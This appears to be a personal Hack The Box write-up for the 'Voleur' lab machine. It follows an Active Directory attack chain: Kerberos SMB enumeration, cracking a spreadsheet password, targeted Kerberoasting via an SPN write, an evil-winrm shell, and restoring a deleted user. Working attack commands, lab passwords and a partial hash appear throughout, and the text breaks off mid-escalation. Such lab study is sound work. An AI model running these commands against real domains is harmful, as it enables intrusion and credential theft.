As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt. 15/11/25: Well, this machine went under paywall! Sed!

Init

Starting with nmap scan (for some reason I had to use -Pn flag), we have kerberos ldap and ssh ports open with AD Domain of voleur.htb.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-09 20:26 UTC
Nmap scan report for 10.10.11.76
Host is up (0.067s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-10 04:26:40Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.30 seconds

Adding the domain in /etc/hosts and checking out SMB shares using nxc.

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ nxc smb DC.voleur.htb -u "ryan.naylor" -p "HollowOct31Nyt"
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

I keep on getting this error! I don’t really know why? Maybe this user is not allowed for SMB connections? I simply go ahead and do kerberos related thing. Get the .krb5 file and get TGT. After asking GPT about the SMB error, the reason simple SMB does not work is that NTLM:False so the default auth method via NTLM is not supported so we have ask SMB to use kerberso based authentication by passing -k flag. Of course, you have to have the .krb5 file to use this flag.

┌─[(venv)]─[vpn/htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~]
└──╼ [★]$ nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --shares
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance
SMB         DC.voleur.htb   445    DC               HR
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share

So there is Finance and HR Shares but we don’t yet have any permission to read there. We can checkout the IT share for now. And also collect rusthound-ce data and load it up in BloodHound.

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ smbclient --realm=voleur.htb //dc.voleur.htb/IT -U "voleur.htb/ryan.naylor%HollowOct31Nyt" -k
WARNING: The option -k|--kerberos is deprecated!
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 09:10:01 2025
  ..                                DHS        0  Thu Jul 24 20:09:59 2025
  First-Line Support                  D        0  Wed Jan 29 09:40:17 2025

                5311743 blocks of size 4096. 968852 blocks available
smb: \>

Collecting data for BloodHound

rusthound-ce -d dc.voleur.htb -u 'ryan.naylor@voleur.htb' -p 'HollowOct31Nyt'

So, there is this folder called “First-Line Support”, which in turn have an excel file. So, I download this file and find that it is password protected.

So, I use office2john to get the hash and crack it using hashcat.

User Flag

Well, this file has a lot of useful data! There is use called Tood.Wolfe whose account is deleted but we have his password. We also know the password for svc_ldap and svc_iis. We can quickly check their authenticity using nxc.

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ nxc smb dc.voleur.htb -u 'todd.wolfe' -p 'NightT1meP1dg3on14' -k
SMB         dc.voleur.htb   445    dc               [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.voleur.htb   445    dc               [-] voleur.htb\todd.wolfe:NightT1meP1dg3on14 KDC_ERR_C_PRINCIPAL_UNKNOWN
>>> This is because this account is deleted! <<<
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ nxc smb 10.10.11.76 -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k
^LSMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ nxc smb 10.10.11.76 -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8

Now, checking out the BloodHound data, we have 3 Owned accounts. Among them svc_ldap is member of restore_users so maybe this can be used to restore the deleted account of todd.wolfe. svc_ldap also has WriteSPN over svc_winrm which is a member of remote mamangement users so if we can get access to this accounts, we can get a Powershell and via that restore the deleted account! This way is the intended pathway as per the guided tasks.

So, I go ahead and use the WriteSPN flow and get password for svc_winrm.

bloodyAD SPN modification

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ bloodyAD -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' --kerberos --host dc.voleur.htb set object svc_winrm servicePrincipalName -v "http/newnameagainagain"
[+] svc_winrm's servicePrincipalName has been updated

kerberoasting and cracking the hash

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ nxc ldap dc.voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k --kerberoasting svc_winrm.kerberos
LDAP        dc.voleur.htb   389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc.voleur.htb   389    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
LDAP        dc.voleur.htb   389    DC               [*] Skipping disabled account: krbtgt
LDAP        dc.voleur.htb   389    DC               [*] Total of records returned 1
LDAP        dc.voleur.htb   389    DC               [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb, pwdLastSet: 2025-01-31 09:10:12.398769, lastLogon: 2025-01-29 15:07:32.711487
LDAP        dc.voleur.htb   389    DC               $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$7f285ec7c4a001de946f1a....

So, now we can use evil-winrm to get a shell.

┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.13]─[truelyyours@parrot]─[~/htb/machines/Voleur]
└──╼ [★]$ evil-winrm -i dc.voleur.htb -u svc_winrm -p 'AFireInsidedeOzarctica980219afi' -r voleur.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: User is not needed for Kerberos auth. Ticket will be used

Warning: Password is not needed for Kerberos auth. Ticket will be used

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>

And we have the user flag! 🎉🎉

*Evil-WinRM* PS C:\Users\svc_winrm> cd Desktop
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> ls


    Directory: C:\Users\svc_winrm\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/29/2025   7:07 AM           2312 Microsoft Edge.lnk
-ar---        11/10/2025  10:02 AM             34 user.txt

Privilege Escalation

We have the users todd.wolfe and jeremy.combs in the Users directory. As we already know the password of Todd Wolfe, we should recover that account and get a shell via it and look into it’s contents (Yes, Todd Wolfe is part of remote management users so we can use evil-winrm).

*Evil-WinRM* PS C:\Users> ls


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          6/5/2025   3:30 PM                Administrator
d-----         1/29/2025   7:11 AM                jeremy.combs
d-r---         1/28/2025  12:35 PM                Public
d-----         1/30/2025   3:39 AM                svc_backup
d-----         1/29/2025   4:47 AM                svc_ldap
d-----         1/29/2025   7:07 AM                svc_winrm
d-----         1/29/2025   4:53 AM                todd.wolfe

Now, as svc_ldap is member of restore_users, we can use RunAsCs.exe to get a shell as svc_ldap and restore the deleted user. For that I’ll host a python http.server and wget the file to remote and get a shell locally using netcat.

We have the deleted user:

PS C:\Windows\system32> get-adobject -filter 'isDeleted -eq $true' -IncludeDeletedObjects
get-adobject -filter 'isDeleted -eq $true' -IncludeDeletedObjects


Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8

Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

And it can be restored and then winrmed into too!

PS C:\Windows\system32> get-adobject -filter 'isDeleted -eq $true' -IncludeDeletedObjects
get-adobject -filter 'isDeleted -eq $true' -IncludeDeletedObjects


Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8

Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db



PS C:\Windows\system32> Restore-adobject -identity 1c6b1deb-c372-4cbb-87b1-15031de169db
Restore-adobject -identity 1c6b1deb-c372-4cbb-87b1-15031de169db

Evil-WinRM